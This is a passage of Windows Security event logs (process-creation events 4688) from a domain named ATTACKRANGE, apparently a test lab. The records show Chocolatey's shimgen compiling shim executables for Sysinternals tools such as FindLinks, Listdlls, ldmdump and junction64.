OpCode=Info
RecordNumber=246503
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc4c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x438
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\FindLinks64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_2241\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_2241\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_2241\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_2241\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_2241\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246502
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x438
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246501
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x438
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\FindLinks64.exe" --output="C:\ProgramData\chocolatey\bin\FindLinks64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\FindLinks64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246500
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf84
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xddc
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESCC73.tmp" "c:\ProgramData\chocolatey\bin\CSCB907A8432BEC46E79C6568FFC3EE5AA.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246499
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd30
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xddc
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246498
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xddc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x844
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\FindLinks.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_0053\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_0053\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_0053\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_0053\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_0053\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246547
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x994
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd64
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246546
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd64
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Listdlls.exe" --output="C:\ProgramData\chocolatey\bin\Listdlls.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Listdlls.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246545
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc94
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xce0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD349.tmp" "c:\ProgramData\chocolatey\bin\CSCCB2D394D00F48ABBF1A43A535FB9F5.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246544
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3e0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xce0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246543
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xce0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd28
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ldmdump.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_7553\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_7553\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_7553\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_7553\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_7553\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246542
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x62c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd28
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246541
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd28
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ldmdump.exe" --output="C:\ProgramData\chocolatey\bin\ldmdump.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ldmdump.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246540
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x370
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x57c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD26E.tmp" "c:\ProgramData\chocolatey\bin\CSCD28B9CA714984D3BAD34BD593F8CBBA5.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246539
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x360
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x57c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246538
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x57c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfb8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\junction64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_5366\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_5366\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_5366\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_5366\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_5366\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246537
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe8c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfb8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
